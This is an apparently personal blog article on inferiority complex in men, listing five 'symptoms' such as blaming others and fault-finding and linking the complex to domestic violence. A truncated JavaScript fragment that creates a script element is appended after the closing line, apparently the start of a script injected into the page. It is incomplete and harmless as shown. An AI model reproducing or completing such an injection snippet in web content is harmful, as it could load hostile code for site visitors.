“The greater the feeling of inferiority that has been experienced, the more powerful is the urge to conquest and the more violent the emotional agitation”. Alfred Adler
Men, ever since they are boys are usually told by the people that surround them: fathers, mothers, uncles, etc that boys don’t cry, boys are meant to be tough, boys shouldn’t display any sign of emotion, boys are men and should always be in charge….all these and many more i have heard about. It sure goes without saying that not all of them turn out to be “tough” or “in charge”. What we turn out to be is as a result of the circumstances we have faced, environment and other factors over the years. Some guys while growing up were abused physically and emotionally possibly because they lagged behind academically or socially and so they grow up with an unhealthy self esteem; what some people call an inferiority complex.
An inferiority complex is a strong feeling that you are not as good, important, or intelligent as other people. Some other words to describe this sense of inferiority complex: Not confident or shy and easily embarrassed; shy, uncertain, retiring, insecure, timid, inhibited, tentative, lost, unsure of yourself, ill at ease.
Earlier today, i had a counselling session with a lady who is in a relationship with a guy who has an inferiority complex, she didn’t know what the root of the problem was, she just discovered that they were having issues repeatedly. That session inspired the writing of this article. When you hear of men who beat up their wives, who repeatedly tell them that they’re the head of the house, that they wear the pants, all these are expressions of an inferiority complex.
Please note that not only men have inferiority complex, infact, women have it more. Today is for the guys. There are a number of ways to know if you have an inferiority complex. I’ll list a few of the symptoms:
1) A person with a low self esteem is overly pessimistic and/or critical.
In order to protect their own feelings, a person with low self-esteem often takes out their inner feelings on others. They become extremely critical, especially of those closest to them. They are often pessimistic, and can rarely see the positive in any situation, let alone hope for the best.
2) Love to Hear Compliments
A person with an inferiority complex always want others to be complimented for even the smallest of the achievements like how you look, how you worked on that article, what you have or what great work you have done. He is usually so desperate to hear that even if you do not get any comments, you start pouring in questions in order to receive compliments (more like fishing for comments), such as “Do you think I did great?” or “Do I look good tonight?”
3) Blaming others
Any mistake or failure committed on this person’s part is simply put on various external factors, such as poor luck, bad company, the environment in general, and so on. If you are not able to accept your mistake and instead, you hold the universe responsible for it, you are definitely suffering from inferiority complex.
4) Lack of Sportsmanship
Competitions where such a person is required to test his abilities against the others are always kept at bay. If he/she loses competitions, he feels he’s not good enough to compete with anyone. Hence, he does not take any step towards achieving success. On rare occasions, when he takes that step, chances are that he discourages himself saying that he can never achieve it even in his wildest dreams.
5) Finding Faults
This is a mindset for people with an inferiority complex. Since he cannot keep himself happy, he cannot accept others feeling happy as well. As such, he is constantly finding ways to point out other’s imperfections and making them feel bad about themselves. This is known as crab mentality, where we pull others down as well. In case you are one of such people, know for sure that you can never feel confident and superior, unless you stop competing with others, in this case, your wife, or wife to be.
A guy with all these symptoms and more after a while of being married; if he seems to be losing ground and needs to assert his authority will move to wife battery….beating her to submission. If you’re a guy that finished from a Polytechnic or didn’t even have a tertiary education at all and you feel threatened by a lady who did, it’s either you step up or pick a lady that won’t be a threat to you. A healthy self esteem is about being comfortable with who you are and where you’re going.
I’ll stop this here. In the Part 2 of this article, i’ll write on how this inferiority complex causes issues in marriage and how it can be overcome or minimized. Till then, have an amazing time this season!var d=document;var s=d.createElement(‘script’);